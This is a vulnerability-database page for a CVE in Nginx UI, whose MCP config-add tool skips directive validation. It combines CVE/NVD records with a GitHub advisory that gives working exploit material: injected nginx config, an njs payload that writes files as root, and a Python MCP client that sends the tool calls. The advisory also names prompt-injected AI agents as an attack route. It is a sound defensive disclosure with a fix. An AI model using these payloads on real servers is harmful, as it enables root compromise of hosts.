Vulnerability-Lookup

CVE-2026-84317 (GCVE-0-2026-84317)

Vulnerability from cvelistv5 – Published: 2026-10-12 20:59 – Updated: 2026-10-13 17:50

Title

Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image)

Summary

Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives — js_*, perl_*, load_module of the njs/perl modules, and user root. It is enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and mcp/config/config_modify.go. The fourth path — the MCP tool nginx_config_add (mcp/config/config_add.go) — does NOT call it: it writes the caller-supplied content straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image). This issue is fixed in version 2.4.1.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-13 17:49 UTC

CWE

CWE-20 - Improper Input Validation
CWE-693 - Protection Mechanism Failure

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7644 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/0xJacky/nginx-ui/security/advi…	x_refsource_CONFIRM
https://github.com/0xJacky/nginx-ui/commit/23d193…	x_refsource_MISC
https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
0xJacky	nginx-ui	Affected: < 2.4.1	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-84317",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-13T17:49:31.431717Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-13T17:50:15.931Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-76pm-mq2q-9gcr"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "nginx-ui",
          "vendor": "0xJacky",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.4.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives \u2014 js_*, perl_*, load_module of the njs/perl modules, and user root. It is enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and mcp/config/config_modify.go. The fourth path \u2014 the MCP tool nginx_config_add (mcp/config/config_add.go) \u2014 does NOT call it: it writes the caller-supplied content straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image). This issue is fixed in version 2.4.1."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-20",
              "description": "CWE-20: Improper Input Validation",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-693",
              "description": "CWE-693: Protection Mechanism Failure",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-12T20:59:58.019Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-76pm-mq2q-9gcr",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-76pm-mq2q-9gcr"
        },
        {
          "name": "https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2"
        },
        {
          "name": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1"
        }
      ],
      "source": {
        "advisory": "GHSA-76pm-mq2q-9gcr",
        "discovery": "UNKNOWN"
      },
      "title": "Nginx UI: MCP nginx_config_add skips config directive validation \u2192 authenticated nginx directive injection (RCE on the official image)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-84317",
    "datePublished": "2026-10-12T20:59:58.019Z",
    "dateReserved": "2026-09-01T16:17:43.079Z",
    "dateUpdated": "2026-10-13T17:50:15.931Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-84317",
      "date": "2026-10-18",
      "epss": "0.00376",
      "percentile": "0.2997"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "nginx-ui",
                "vendor": "0xJacky",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 2.4.1"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives \u2014 js_*, perl_*, load_module of the njs/perl modules, and user root. It is enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and mcp/config/config_modify.go. The fourth path \u2014 the MCP tool nginx_config_add (mcp/config/config_add.go) \u2014 does NOT call it: it writes the caller-supplied content straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image). This issue is fixed in version 2.4.1."
          }
        ],
        "id": "CVE-2026-84317",
        "lastModified": "2026-10-13T18:17:26.047",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 8.8,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 5.9,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-84317",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-13T17:49:31.431717Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-10-12T21:17:22.213",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-76pm-mq2q-9gcr"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-76pm-mq2q-9gcr"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-20"
              },
              {
                "lang": "en",
                "value": "CWE-693"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-84317",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-10-13T17:49:31.431717Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-10-13T17:49:49.957Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-76pm-mq2q-9gcr"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "nginx-ui",
              "vendor": "0xJacky",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 2.4.1"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives \u2014 js_*, perl_*, load_module of the njs/perl modules, and user root. It is enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and mcp/config/config_modify.go. The fourth path \u2014 the MCP tool nginx_config_add (mcp/config/config_add.go) \u2014 does NOT call it: it writes the caller-supplied content straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image). This issue is fixed in version 2.4.1."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 8.8,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-20",
                  "description": "CWE-20: Improper Input Validation",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-693",
                  "description": "CWE-693: Protection Mechanism Failure",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-10-12T20:59:58.019Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-76pm-mq2q-9gcr",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-76pm-mq2q-9gcr"
            },
            {
              "name": "https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2"
            },
            {
              "name": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1"
            }
          ],
          "source": {
            "advisory": "GHSA-76pm-mq2q-9gcr",
            "discovery": "UNKNOWN"
          },
          "title": "Nginx UI: MCP nginx_config_add skips config directive validation \u2192 authenticated nginx directive injection (RCE on the official image)"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-84317",
        "datePublished": "2026-10-12T20:59:58.019Z",
        "dateReserved": "2026-09-01T16:17:43.079Z",
        "dateUpdated": "2026-10-12T20:59:58.019Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-84317

Vulnerability from fkie_nvd - Published: 2026-10-12 21:17 - Updated: 2026-10-13 18:17

Severity

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2
	security-advisories@github.com	https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1
	security-advisories@github.com	https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-76pm-mq2q-9gcr
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-76pm-mq2q-9gcr

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "nginx-ui",
          "vendor": "0xJacky",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.4.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives \u2014 js_*, perl_*, load_module of the njs/perl modules, and user root. It is enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and mcp/config/config_modify.go. The fourth path \u2014 the MCP tool nginx_config_add (mcp/config/config_add.go) \u2014 does NOT call it: it writes the caller-supplied content straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image). This issue is fixed in version 2.4.1."
    }
  ],
  "id": "CVE-2026-84317",
  "lastModified": "2026-10-13T18:17:26.047",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-84317",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-10-13T17:49:31.431717Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-10-12T21:17:22.213",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-76pm-mq2q-9gcr"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-76pm-mq2q-9gcr"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-20"
        },
        {
          "lang": "en",
          "value": "CWE-693"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-76PM-MQ2Q-9GCR

Vulnerability from github – Published: 2026-10-15 20:11 – Updated: 2026-10-15 20:11

Summary

Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image)

Details

Summary

internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives — js_*, perl_*, load_module of the njs/perl modules, and user root. It is enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and mcp/config/config_modify.go. The fourth path — the MCP tool nginx_config_add (mcp/config/config_add.go) — does NOT call it: it writes the caller-supplied content straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image).

Root cause — an incomplete hardening patch

Commit 3e411d38 ("Harden config write paths", 2026-04-21) introduced ValidateConfigFile and wired it into the config-write paths — but its changeset touched only: api/config/add.go (+6), api/config/modify.go (+8), internal/config/validation.go (+199), mcp/config/config_modify.go (+5) It did NOT touch mcp/config/config_add.go. So the MCP add path was left without the validation that all of its sibling paths received. config_add.go has never called ValidateConfigFile (verified via git history); this is an oversight in the hardening, not a regression.

Affected code (mcp/config/config_add.go, handleNginxConfigAdd)

content := mcp.GetString(args, "content")        // caller-controlled
...
path, err := config.ResolveConfPath(baseDir, name)   // path is sandboxed to the conf dir (OK)
...
err = os.WriteFile(path, []byte(content), 0644)  // <-- no config.ValidateConfigFile(path, content)
...
res := nginx.Control(nginx.Reload)               // reloads nginx

Contrast — the guarded sibling (mcp/config/config_modify.go) does:

err = config.ValidateConfigFile(absPath, content)   // rejects js_*/perl_*/load_module/user root
if err != nil { return nil, err }

Proof of Concept (live, Docker, official image)

Image uozi/nginx-ui:2.3.11, nginx 1.31.0. Authenticated with a valid node secret (X-Node-Secret). MCP over SSE; client script poc_mcp_client.py attached.

1) Validation bypass (decisive): - tools/call nginx_config_add {name:"poc_blocked.conf", base_dir:"sites-available", content:"js_import poc.js;\nperl_set $x 'sub{return 1}';\nuser root;\nload_module .../ngx_http_js_module.so;"} → SUCCESS; file written verbatim (confirmed on disk). - Same content via nginx_config_modify → REJECTED: {"code":-32603,"message":"file content contains restricted nginx directive: js_import"}.

2) Effect (using only the vulnerable config_add tool): - Wrote /etc/nginx/poc.js (njs module) and overwrote /etc/nginx/nginx.conf with load_module .../ngx_http_js_module.so; user root; ... js_import poc ...; server{ listen 8899; location=/pwn { js_content poc.pwn; } }. Tool returned SUCCESS (reload succeeded; nginx -t ok). - /proc/<worker>/status → Uid: 0 0 0 0 (workers run as root — user root took effect). - GET http://127.0.0.1:8899/pwn → pwned (njs js_content executed). - /tmp/NJS_RCE_PROOF.txt created, owned by root → JavaScript code execution in the nginx worker performing arbitrary file write as root.

Reproduction payloads (self-contained)

njs module written to /etc/nginx/poc.js via nginx_config_add (name="poc.js", base_dir=""):

import fs from 'fs';
function pwn(r){
  try{ fs.writeFileSync('/tmp/NJS_RCE_PROOF.txt','njs-code-exec-ok\n'); }catch(e){ r.return(200,'ERR:'+e); return; }
  r.return(200,'pwned\n');
}
export default { pwn };

Main config overwritten via nginx_config_add (name="nginx.conf", base_dir="", overwrite=true):

load_module /usr/lib/nginx/modules/ngx_http_js_module.so;
user root;
worker_processes 1;
error_log /var/log/nginx/error.log notice;
pid /run/nginx.pid;
events { worker_connections 1024; }
http {
    include /etc/nginx/mime.types;
    default_type application/octet-stream;
    js_import poc from /etc/nginx/poc.js;
    server { listen 8899; location = /pwn { js_content poc.pwn; } }
}

PoC client (MCP-over-SSE, Python stdlib only)

Set SECRET to a valid node secret (printed in nginx-ui's first-boot logs) or a user JWT. Usage: python3 poc_mcp_client.py list then python3 poc_mcp_client.py call <tool> '<json-args>'.

import sys, json, threading, queue, time, http.client
BASE = "127.0.0.1:9000"
SECRET = "<NODE_SECRET_OR_JWT>"
HDR = {"X-Node-Secret": SECRET}   # or {"Authorization": "Bearer <JWT>"}
resp_q = queue.Queue(); endpoint = {}

def sse_reader():
    conn = http.client.HTTPConnection(BASE, timeout=60)
    conn.request("GET", "/mcp", headers={**HDR, "Accept": "text/event-stream"})
    r = conn.getresponse(); event = None
    while True:
        line = r.fp.readline()
        if not line: break
        line = line.decode("utf-8","replace").rstrip("\r\n")
        if line.startswith("event:"): event = line[6:].strip()
        elif line.startswith("data:"):
            data = line[5:].strip()
            if event == "endpoint": endpoint["url"] = data; endpoint["ready"] = True
            else: resp_q.put(data)
        elif line == "": event = None

def post(obj):
    conn = http.client.HTTPConnection(BASE, timeout=30)
    conn.request("POST", endpoint["url"], body=json.dumps(obj).encode(),
                 headers={**HDR, "Content-Type": "application/json"})
    return conn.getresponse().read()

def wait(wid, t=20):
    end = time.time()+t
    while time.time() < end:
        try: d = resp_q.get(timeout=t)
        except queue.Empty: break
        try: j = json.loads(d)
        except Exception: continue
        if j.get("id") == wid: return j

threading.Thread(target=sse_reader, daemon=True).start()
for _ in range(50):
    if endpoint.get("ready"): break
    time.sleep(0.1)
post({"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05",
      "capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}); wait(1)
post({"jsonrpc":"2.0","method":"notifications/initialized","params":{}})
cmd = sys.argv[1] if len(sys.argv) > 1 else "list"
if cmd == "list":
    post({"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}})
    print([t["name"] for t in wait(2)["result"]["tools"]])
elif cmd == "call":
    post({"jsonrpc":"2.0","id":3,"method":"tools/call",
          "params":{"name":sys.argv[2],"arguments":json.loads(sys.argv[3])}})
    print(json.dumps(wait(3, 25), indent=1))

Impact

An authenticated MCP principal — or a connected AI agent subverted via prompt injection — bypasses the directive-validation security control and injects directives the project explicitly blocks elsewhere. On deployments with the njs/perl module available (the official Docker image ships ngx_http_js_module.so), this yields code execution in the nginx worker and, via user root, arbitrary file read/write as root (trivially escalated to full host compromise: /root/.ssh/authorized_keys, /etc/cron.d/*, overwriting a binary). On stock nginx without those modules it is a reliable DoS (failed reload) plus a user root privilege regression.

Honest scope / caveats

Authenticated (node secret or user JWT), agent-mediated — not unauthenticated.
RCE is conditional on the njs/perl module being present; it ships in the official image, so the default Docker deployment is exploitable. Stock nginx without those modules → DoS instead.
The write path is sandboxed to the nginx conf dir (no path traversal); the bug is directive injection. (The main nginx.conf is inside that dir and can be overwritten with overwrite=true.)
nginx-ui runs as root by design (it manages nginx); the bypass additionally lets request-handling workers run as root via user root.

Suggested fix

Call config.ValidateConfigFile(path, content) in handleNginxConfigAdd before os.WriteFile, matching mcp/config/config_modify.go and the API paths — i.e. complete the 3e411d38 hardening on the one path it missed.

--- (NOT a form field — include this as the closing section of the Description above) ---

Dedup / novelty

Distinct from CVE-2026-33032 (GHSA-h6c2-x2m2-mwhf, "Unauthenticated MCP Endpoint"), whose root cause is a MISSING AUTH middleware on /mcp_message (now fixed by adding AuthRequired) and which does not involve config-content validation. This report is an AUTHENTICATED bypass of the directive-validation control on the config_add path, and works on a fully patched (post-33032) instance. No existing CVE/GHSA covers the config_add validation gap (checked osv.dev and the GitHub advisory database for this repo). Appears novel.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/0xJacky/Nginx-UI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.10-0.20260703131214-23d1934099b0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-84317"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-15T20:11:07Z",
    "nvd_published_at": "2026-10-12T21:17:22Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n`internal/config/validation.go` (`ValidateConfigFile`) is a security control that blocks dangerous\nnginx directives \u2014 `js_*`, `perl_*`, `load_module` of the njs/perl modules, and `user root`. It is\nenforced on three of the four config-write paths: `api/config/add.go`, `api/config/modify.go`, and\n`mcp/config/config_modify.go`. The fourth path \u2014 the MCP tool `nginx_config_add`\n(`mcp/config/config_add.go`) \u2014 does NOT call it: it writes the caller-supplied `content` straight to\ndisk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection)\ncan therefore inject exactly the directives the control is meant to block, leading to nginx code\nexecution on deployments where the njs/perl module is available (e.g. the official Docker image).\n\n## Root cause \u2014 an incomplete hardening patch\nCommit `3e411d38` (\"Harden config write paths\", 2026-04-21) introduced `ValidateConfigFile` and\nwired it into the config-write paths \u2014 but its changeset touched only:\n  api/config/add.go (+6), api/config/modify.go (+8), internal/config/validation.go (+199),\n  mcp/config/config_modify.go (+5)\nIt did NOT touch `mcp/config/config_add.go`. So the MCP add path was left without the validation\nthat all of its sibling paths received. `config_add.go` has never called `ValidateConfigFile`\n(verified via git history); this is an oversight in the hardening, not a regression.\n\n## Affected code (mcp/config/config_add.go, handleNginxConfigAdd)\n```go\ncontent := mcp.GetString(args, \"content\")        // caller-controlled\n...\npath, err := config.ResolveConfPath(baseDir, name)   // path is sandboxed to the conf dir (OK)\n...\nerr = os.WriteFile(path, []byte(content), 0644)  // \u003c-- no config.ValidateConfigFile(path, content)\n...\nres := nginx.Control(nginx.Reload)               // reloads nginx\n```\nContrast \u2014 the guarded sibling (mcp/config/config_modify.go) does:\n```go\nerr = config.ValidateConfigFile(absPath, content)   // rejects js_*/perl_*/load_module/user root\nif err != nil { return nil, err }\n```\n\n## Proof of Concept (live, Docker, official image)\nImage `uozi/nginx-ui:2.3.11`, nginx 1.31.0. Authenticated with a valid node secret\n(`X-Node-Secret`). MCP over SSE; client script `poc_mcp_client.py` attached.\n\n1) Validation bypass (decisive):\n   - `tools/call nginx_config_add {name:\"poc_blocked.conf\", base_dir:\"sites-available\",\n     content:\"js_import poc.js;\\nperl_set $x \u0027sub{return 1}\u0027;\\nuser root;\\nload_module .../ngx_http_js_module.so;\"}`\n     \u2192 SUCCESS; file written verbatim (confirmed on disk).\n   - Same content via `nginx_config_modify` \u2192 REJECTED:\n     `{\"code\":-32603,\"message\":\"file content contains restricted nginx directive: js_import\"}`.\n\n2) Effect (using only the vulnerable config_add tool):\n   - Wrote `/etc/nginx/poc.js` (njs module) and overwrote `/etc/nginx/nginx.conf` with\n     `load_module .../ngx_http_js_module.so; user root; ... js_import poc ...; server{ listen 8899;\n     location=/pwn { js_content poc.pwn; } }`. Tool returned SUCCESS (reload succeeded; `nginx -t` ok).\n   - `/proc/\u003cworker\u003e/status` \u2192 `Uid: 0 0 0 0` (workers run as root \u2014 `user root` took effect).\n   - `GET http://127.0.0.1:8899/pwn` \u2192 `pwned` (njs `js_content` executed).\n   - `/tmp/NJS_RCE_PROOF.txt` created, owned by root \u2192 JavaScript code execution in the nginx\n     worker performing arbitrary file write as root.\n\n### Reproduction payloads (self-contained)\nnjs module written to `/etc/nginx/poc.js` via `nginx_config_add` (name=\"poc.js\", base_dir=\"\"):\n```js\nimport fs from \u0027fs\u0027;\nfunction pwn(r){\n  try{ fs.writeFileSync(\u0027/tmp/NJS_RCE_PROOF.txt\u0027,\u0027njs-code-exec-ok\\n\u0027); }catch(e){ r.return(200,\u0027ERR:\u0027+e); return; }\n  r.return(200,\u0027pwned\\n\u0027);\n}\nexport default { pwn };\n```\nMain config overwritten via `nginx_config_add` (name=\"nginx.conf\", base_dir=\"\", overwrite=true):\n```nginx\nload_module /usr/lib/nginx/modules/ngx_http_js_module.so;\nuser root;\nworker_processes 1;\nerror_log /var/log/nginx/error.log notice;\npid /run/nginx.pid;\nevents { worker_connections 1024; }\nhttp {\n    include /etc/nginx/mime.types;\n    default_type application/octet-stream;\n    js_import poc from /etc/nginx/poc.js;\n    server { listen 8899; location = /pwn { js_content poc.pwn; } }\n}\n```\n\n### PoC client (MCP-over-SSE, Python stdlib only)\nSet `SECRET` to a valid node secret (printed in nginx-ui\u0027s first-boot logs) or a user JWT.\nUsage: `python3 poc_mcp_client.py list` then `python3 poc_mcp_client.py call \u003ctool\u003e \u0027\u003cjson-args\u003e\u0027`.\n```python\nimport sys, json, threading, queue, time, http.client\nBASE = \"127.0.0.1:9000\"\nSECRET = \"\u003cNODE_SECRET_OR_JWT\u003e\"\nHDR = {\"X-Node-Secret\": SECRET}   # or {\"Authorization\": \"Bearer \u003cJWT\u003e\"}\nresp_q = queue.Queue(); endpoint = {}\n\ndef sse_reader():\n    conn = 